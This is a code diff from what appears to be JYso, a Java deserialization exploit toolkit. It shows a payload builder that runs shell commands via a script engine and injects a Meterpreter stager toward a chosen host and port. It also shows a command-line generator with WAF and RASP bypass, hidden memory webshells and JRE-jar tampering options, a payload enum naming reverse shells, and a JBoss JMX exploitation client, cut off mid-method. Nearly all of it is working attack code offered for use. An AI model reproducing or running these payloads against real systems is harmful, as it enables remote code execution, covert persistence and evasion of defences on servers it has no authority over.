if (payloadType.contains("E-")) {
|
||||||
|
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||||
|
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||||
|
code = InjShell.injectClass(EchoClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("M-")) {
|
||||||
|
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||||
|
InjShell.init(params);
|
||||||
|
code = Gadgets.createClassT(ClassName1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("command")) {
|
||||||
|
code = getExecCode(params[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("meterpreter")) {
|
||||||
|
code = injectMeterpreter();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
String payloadTemplate = "{" +
|
||||||
|
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
|
||||||
|
".newInstance().getEngineByName(\"JavaScript\")" +
|
||||||
|
".eval(\"{replacement}\")" +
|
||||||
|
"}";
|
||||||
|
String finalPayload = payloadTemplate.replace("{replacement}", code);
|
||||||
|
ref.add(new StringRefAddr("x", finalPayload));
|
||||||
|
|
||||||
|
return ref;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
||||||
|
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
|
||||||
|
Field WinClassName = ctClazz.getDeclaredField("host");
|
||||||
|
WinClassName.setAccessible(true);
|
||||||
|
WinClassName.set(ctClazz, params[0]);
|
||||||
|
Field WinclassBody = ctClazz.getDeclaredField("port");
|
||||||
|
WinclassBody.setAccessible(true);
|
||||||
|
WinclassBody.set(ctClazz, params[1]);
|
||||||
|
return InjShell.injectClass(ctClazz);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getExecCode(String cmd) throws IOException {
|
||||||
|
|
||||||
|
String code = "var strs=new Array(3);\n" +
|
||||||
|
" if(java.io.File.separator.equals('/')){\n" +
|
||||||
|
" strs[0]='/bin/bash';\n" +
|
||||||
|
" strs[1]='-c';\n" +
|
||||||
|
" strs[2]='" + cmd + "';\n" +
|
||||||
|
" }else{\n" +
|
||||||
|
" strs[0]='cmd';\n" +
|
||||||
|
" strs[1]='/C';\n" +
|
||||||
|
" strs[2]='" + cmd + "';\n" +
|
||||||
|
" }\n" +
|
||||||
|
" java.lang.Runtime.getRuntime().exec(strs);";
|
||||||
|
|
||||||
|
return code;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
package com.qi4l.JYso.controllers.utils;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.IvParameterSpec;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
public class AESUtils {
|
||||||
|
private static final String ALGORITHM = "AES";
|
||||||
|
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
|
||||||
|
private static final int KEY_SIZE = 16;
|
||||||
|
|
||||||
|
public static String decrypt(String ciphertext, String key) throws Exception {
|
||||||
|
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
|
||||||
|
byte[] ivBytes = new byte[KEY_SIZE];
|
||||||
|
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
|
||||||
|
|
||||||
|
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
|
||||||
|
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
|
||||||
|
|
||||||
|
byte[] keyBytes = getKeyBytes(key);
|
||||||
|
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
|
||||||
|
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
|
||||||
|
|
||||||
|
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
|
||||||
|
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
|
||||||
|
|
||||||
|
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
|
||||||
|
return new String(decryptedBytes, StandardCharsets.UTF_8);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] getKeyBytes(String key) {
|
||||||
|
byte[] keyBytes = new byte[KEY_SIZE];
|
||||||
|
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
|
||||||
|
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
|
||||||
|
return keyBytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,280 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||||
|
import org.apache.commons.cli.*;
|
||||||
|
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
|
||||||
|
|
||||||
|
public class ysoserial {
|
||||||
|
|
||||||
|
public static CommandLine cmdLine;
|
||||||
|
public static Object PAYLOAD = null;
|
||||||
|
|
||||||
|
public static void ysoserial(String[] args) {
|
||||||
|
final Options options = getOptions();
|
||||||
|
|
||||||
|
CommandLineParser parser = new DefaultParser();
|
||||||
|
|
||||||
|
if (args.length == 1) {
|
||||||
|
printUsage(options);
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
cmdLine = parser.parse(options, args);
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.out.println("[*] Parameter input error, please use -h for more information");
|
||||||
|
printUsage(options);
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("inherit")) {
|
||||||
|
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("obscure")) {
|
||||||
|
Config.IS_OBSCURE = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("cmd-header")) {
|
||||||
|
Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("url")) {
|
||||||
|
String url = cmdLine.getOptionValue("url");
|
||||||
|
if (!url.startsWith("/")) {
|
||||||
|
url = "/" + url;
|
||||||
|
}
|
||||||
|
Config.URL_PATTERN = url;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("define-class-from-parameter")) {
|
||||||
|
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("file")) {
|
||||||
|
Config.WRITE_FILE = true;
|
||||||
|
Config.FILE = cmdLine.getOptionValue("file");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("base64")) {
|
||||||
|
Config.BASE64 = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("password")) {
|
||||||
|
Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
|
||||||
|
Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("godzilla-key")) {
|
||||||
|
Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key"));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("header-key")) {
|
||||||
|
Config.HEADER_KEY = cmdLine.getOptionValue("header-key");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("header-value")) {
|
||||||
|
Config.HEADER_VALUE = cmdLine.getOptionValue("header-value");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("no-com-sun")) {
|
||||||
|
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("mozilla-class-loader")) {
|
||||||
|
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("rhino")) {
|
||||||
|
Config.USING_RHINO = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
|
||||||
|
Config.IS_UTF_Bypass = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("Hessian1")) {
|
||||||
|
Config.IS_Hessian1 = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("Hessian2")) {
|
||||||
|
Config.IS_Hessian2 = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(cmdLine.hasOption("XStream")){
|
||||||
|
Config.IS_Xstream = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(cmdLine.hasOption("Kryo")){
|
||||||
|
Config.IS_Kryo = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(cmdLine.hasOption(("JYaml"))){
|
||||||
|
Config.IS_JYAML = true;
|
||||||
|
}
|
||||||
|
if(cmdLine.hasOption("JsonIO")){
|
||||||
|
Config.IS_JsonIO = true;
|
||||||
|
}
|
||||||
|
if(cmdLine.hasOption("YamlBeans")){
|
||||||
|
Config.IS_YamlBeans = true;
|
||||||
|
}
|
||||||
|
if(cmdLine.hasOption("Castor")){
|
||||||
|
Config.IS_Castor = true;
|
||||||
|
}
|
||||||
|
if(cmdLine.hasOption("Jackson")){
|
||||||
|
Config.IS_Jackson = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("gen-mem-shell")) {
|
||||||
|
Config.GEN_MEM_SHELL = true;
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("gen-mem-shell-name")) {
|
||||||
|
Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("hide-mem-shell")) {
|
||||||
|
Config.HIDE_MEMORY_SHELL = true;
|
||||||
|
|
||||||
|
if (cmdLine.hasOption("hide-type")) {
|
||||||
|
Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
final String payloadType = cmdLine.getOptionValue("gadget");
|
||||||
|
final String command = cmdLine.getOptionValue("parameters");
|
||||||
|
//载入gadget
|
||||||
|
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
||||||
|
if (payloadClass == null) {
|
||||||
|
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||||
|
printUsage(options);
|
||||||
|
System.exit(1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
try {
|
||||||
|
//载入payload
|
||||||
|
ObjectPayload payload = payloadClass.newInstance();
|
||||||
|
Object object = payload.getObject(command);
|
||||||
|
|
||||||
|
// 是否指定混淆
|
||||||
|
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
|
||||||
|
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
|
||||||
|
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
|
||||||
|
object = new DirtyDataWrapper(object, type, length).doWrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 储存生成的 payload
|
||||||
|
PAYLOAD = object;
|
||||||
|
if (isFromExploit()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream out;
|
||||||
|
|
||||||
|
if (Config.WRITE_FILE) {
|
||||||
|
out = new FileOutputStream(Config.FILE);
|
||||||
|
} else {
|
||||||
|
out = System.out;
|
||||||
|
}
|
||||||
|
Serializer.qiserialize(object, out,payloadType,command);
|
||||||
|
ObjectPayload.Utils.releasePayload(payload, object);
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
System.err.println("Error while generating or serializing payload");
|
||||||
|
e.printStackTrace();
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
System.exit(0);
|
||||||
|
}
|
||||||
|
private static Options getOptions() {
|
||||||
|
Options options = new Options();
|
||||||
|
options.addOption("y", "ysoserial", false, "Java deserialization");
|
||||||
|
options.addOption("g", "gadget", true, "Java deserialization gadget");
|
||||||
|
options.addOption("p", "parameters", true, "Gadget parameters");
|
||||||
|
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
|
||||||
|
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
|
||||||
|
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
|
||||||
|
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
|
||||||
|
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
|
||||||
|
options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
|
||||||
|
options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
|
||||||
|
options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
|
||||||
|
options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
|
||||||
|
options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]");
|
||||||
|
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
|
||||||
|
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
|
||||||
|
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
|
||||||
|
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
|
||||||
|
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
|
||||||
|
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
|
||||||
|
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
|
||||||
|
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
|
||||||
|
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
|
||||||
|
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
|
||||||
|
options.addOption("he1", "Hessian1", false, "Hessian1 Output");
|
||||||
|
options.addOption("he2", "Hessian2", false, "Hessian2 Output");
|
||||||
|
options.addOption("b64", "base64", false, "base64 encoding");
|
||||||
|
options.addOption("xs", "XStream", false, "Xstream Output");
|
||||||
|
options.addOption("kryo", "Kryo", false, "Kryo Output");
|
||||||
|
options.addOption("jy", "JYaml", false, "JYaml Output");
|
||||||
|
options.addOption("js","JsonIO", false, "JsonIO Output");
|
||||||
|
options.addOption("yb","YamlBeans", false, "YamlBeans Output");
|
||||||
|
options.addOption("ca", "Castor", false, "Castor Output");
|
||||||
|
options.addOption("jk", "Jackson", false, "Jackson Output");
|
||||||
|
return options;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void printUsage(Options options) {
|
||||||
|
|
||||||
|
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
|
||||||
|
System.err.println("[root]#~ Available payload types:");
|
||||||
|
|
||||||
|
final List<Class<? extends ObjectPayload>> payloadClasses =
|
||||||
|
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
|
||||||
|
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
|
||||||
|
|
||||||
|
final List<String[]> rows = new LinkedList<String[]>();
|
||||||
|
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||||
|
rows.add(new String[]{"-------", "-------", "------------"});
|
||||||
|
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
|
||||||
|
rows.add(new String[]{
|
||||||
|
payloadClass.getSimpleName(),
|
||||||
|
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||||
|
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
final List<String> lines = StringUtil.formatTable(rows);
|
||||||
|
|
||||||
|
for (String line : lines) {
|
||||||
|
System.err.println(" " + line);
|
||||||
|
}
|
||||||
|
|
||||||
|
System.err.println("\r\n");
|
||||||
|
HelpFormatter helpFormatter = new HelpFormatter();
|
||||||
|
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
|
||||||
|
helpFormatter.printHelp("JYso-[version].jar", options, true);
|
||||||
|
|
||||||
|
System.err.println("\r\n");
|
||||||
|
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
||||||
|
System.err.println("If you want your payload being extremely short,you could just use:");
|
||||||
|
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
||||||
|
System.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package com.qi4l.JYso.enumtypes;
|
||||||
|
|
||||||
|
public enum GadgetType {
|
||||||
|
base64Two,
|
||||||
|
msf,
|
||||||
|
base64,
|
||||||
|
shell,
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package com.qi4l.JYso.enumtypes;
|
||||||
|
|
||||||
|
public enum PayloadType {
|
||||||
|
sethttp,
|
||||||
|
dnslog,
|
||||||
|
tomcatupgrade,
|
||||||
|
command,
|
||||||
|
reverseshell,
|
||||||
|
tomcatecho,
|
||||||
|
springecho,
|
||||||
|
weblogicecho,
|
||||||
|
windowsecho,
|
||||||
|
linuxecho2,
|
||||||
|
linuxecho1,
|
||||||
|
allecho,
|
||||||
|
websphereecho,
|
||||||
|
resinecho,
|
||||||
|
tomcatfilterjmx,
|
||||||
|
tomcatfilterth,
|
||||||
|
tomcatlistenerjmx,
|
||||||
|
tomcatlistenerth,
|
||||||
|
tomcatservletjmx,
|
||||||
|
tomcatservletth,
|
||||||
|
jbossfilter,
|
||||||
|
jbossservlet,
|
||||||
|
webspherememshell,
|
||||||
|
springinterceptor,
|
||||||
|
springcontroller,
|
||||||
|
issuccess,
|
||||||
|
jettyfilter,
|
||||||
|
jettyservlet,
|
||||||
|
struts2actionms,
|
||||||
|
wsfilter,
|
||||||
|
tomcatexecutor,
|
||||||
|
meterpreter,
|
||||||
|
resinfilterth,
|
||||||
|
resinservletth,
|
||||||
|
jbossecho,
|
||||||
|
jettyecho,
|
||||||
|
cmsmsbync,
|
||||||
|
proxymsbync,
|
||||||
|
wsresin,
|
||||||
|
mstsjproxy,
|
||||||
|
mstsjser,
|
||||||
|
wsweblogic,
|
||||||
|
wswebsphereproxy,
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
package com.qi4l.JYso.enumtypes;
|
||||||
|
|
||||||
|
public enum WebsphereActionType {
|
||||||
|
list,
|
||||||
|
upload,
|
||||||
|
rce;
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package com.qi4l.JYso.exceptions;
|
||||||
|
|
||||||
|
public class IncorrectParamsException extends RuntimeException {
|
||||||
|
public IncorrectParamsException() {
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
public IncorrectParamsException(String message) {
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package com.qi4l.JYso.exceptions;
|
||||||
|
|
||||||
|
public class UnSupportedActionTypeException extends RuntimeException {
|
||||||
|
public UnSupportedActionTypeException() {
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
public UnSupportedActionTypeException(String message) {
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package com.qi4l.JYso.exceptions;
|
||||||
|
|
||||||
|
public class UnSupportedGadgetTypeException extends RuntimeException {
|
||||||
|
public UnSupportedGadgetTypeException() {
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
public UnSupportedGadgetTypeException(String message) {
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package com.qi4l.JYso.exceptions;
|
||||||
|
|
||||||
|
public class UnSupportedPayloadTypeException extends RuntimeException {
|
||||||
|
public UnSupportedPayloadTypeException() {
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
public UnSupportedPayloadTypeException(String message) {
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,385 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||||
|
import com.qi4l.JYso.controllers.ysoserial;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.jboss.remoting3.Connection;
|
||||||
|
import org.jboss.remoting3.*;
|
||||||
|
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
|
||||||
|
import org.jboss.remoting3.spi.*;
|
||||||
|
import org.jboss.remotingjmx.VersionedConnection;
|
||||||
|
import org.xnio.*;
|
||||||
|
import org.xnio.IoFuture.Status;
|
||||||
|
import org.xnio.ssl.JsseXnioSsl;
|
||||||
|
import org.xnio.ssl.XnioSsl;
|
||||||
|
|
||||||
|
import javax.management.*;
|
||||||
|
import javax.management.remote.JMXServiceURL;
|
||||||
|
import javax.security.auth.callback.*;
|
||||||
|
import javax.security.sasl.RealmCallback;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.MalformedURLException;
|
||||||
|
import java.net.SocketAddress;
|
||||||
|
import java.net.URI;
|
||||||
|
import java.security.KeyManagementException;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
import java.security.NoSuchProviderException;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.concurrent.*;
|
||||||
|
import java.util.logging.*;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An exploitation client for JBoss AS/Wildfly JMX
|
||||||
|
* <p>
|
||||||
|
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
|
||||||
|
* <p>
|
||||||
|
* This is not as readily exploitable as in other pieces of software:
|
||||||
|
* 1. they only allow authenticated access by default
|
||||||
|
* 2. they have a very strict module architecture:
|
||||||
|
* - all MBeans exported by default use classloaders that expose almost nothing useful
|
||||||
|
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
|
||||||
|
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
||||||
|
* <p>
|
||||||
|
* This client enumerates all application exported MBean method which are then called
|
||||||
|
* delivering the specified payload.
|
||||||
|
* <p>
|
||||||
|
* I.e. you can succesfully exploit that
|
||||||
|
* - you have access to the interface
|
||||||
|
* (username/password can be specified via URL, note: despite not noticeable,
|
||||||
|
* local connections implicitely use authentication)
|
||||||
|
* - there is an application exported MBean
|
||||||
|
* - that application imports the classes required for the gadget chain
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({
|
||||||
|
"rawtypes"
|
||||||
|
})
|
||||||
|
public class JBoss {
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
|
||||||
|
if (args.length < 5) {
|
||||||
|
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
URI u = URI.create(args[0]);
|
||||||
|
|
||||||
|
// 去除前一个参数
|
||||||
|
String[] newArray = new String[args.length - 1];
|
||||||
|
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||||
|
|
||||||
|
ysoserial(newArray);
|
||||||
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
|
String username = null;
|
||||||
|
String password = null;
|
||||||
|
if (u.getUserInfo() != null) {
|
||||||
|
int sep = u.getUserInfo().indexOf(':');
|
||||||
|
if (sep >= 0) {
|
||||||
|
username = u.getUserInfo().substring(0, sep);
|
||||||
|
password = u.getUserInfo().substring(sep + 1);
|
||||||
|
} else {
|
||||||
|
System.err.println("Need <user>:<password>@");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
doRun(u, payloadObject, username, password);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static void doRun(URI u, final Object payloadObject, String username, String password) {
|
||||||
|
ConnectionProvider instance = null;
|
||||||
|
ConnectionProviderContextImpl context = null;
|
||||||
|
ConnectionHandler ch = null;
|
||||||
|
Channel c = null;
|
||||||
|
VersionedConnection vc = null;
|
||||||
|
try {
|
||||||
|
Logger logger = LogManager.getLogManager().getLogger("");
|
||||||
|
logger.addHandler(new ConsoleLogHandler());
|
||||||
|
logger.setLevel(Level.INFO);
|
||||||
|
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
|
||||||
|
context = new ConnectionProviderContextImpl(options, "endpoint");
|
||||||
|
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
|
||||||
|
String host = u.getHost();
|
||||||
|
int port = u.getPort() > 0 ? u.getPort() : 9990;
|
||||||
|
SocketAddress destination = new InetSocketAddress(host, port);
|
||||||
|
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
|
||||||
|
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
|
||||||
|
c = getChannel(context, ch, options);
|
||||||
|
System.err.println("Connected");
|
||||||
|
vc = makeVersionedConnection(c);
|
||||||
|
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
|
||||||
|
doExploit(payloadObject, mbc);
|
||||||
|
System.err.println("DONE");
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
} finally {
|
||||||
|
cleanup(instance, context, ch, c, vc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
|
||||||
|
VersionedConnection vc) {
|
||||||
|
if (vc != null) {
|
||||||
|
vc.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (c != null) {
|
||||||
|
try {
|
||||||
|
c.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch != null) {
|
||||||
|
try {
|
||||||
|
ch.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (instance != null) {
|
||||||
|
try {
|
||||||
|
instance.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context != null) {
|
||||||
|
context.getXnioWorker().shutdown();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
|
||||||
|
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
|
||||||
|
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
|
||||||
|
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
|
||||||
|
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
|
||||||
|
instance.connect(null, destination, options, result, new CallbackHandler() {
|
||||||
|
|
||||||
|
public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
|
||||||
|
|
||||||
|
for (Callback cb : callbacks) {
|
||||||
|
|
||||||
|
if (cb instanceof NameCallback) {
|
||||||
|
((NameCallback) cb).setName(username);
|
||||||
|
} else if (cb instanceof PasswordCallback) {
|
||||||
|
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
|
||||||
|
} else if (!(cb instanceof RealmCallback)) {
|
||||||
|
System.err.println(cb);
|
||||||
|
throw new UnsupportedCallbackException(cb);
|
||||||
|
}
|
||||||
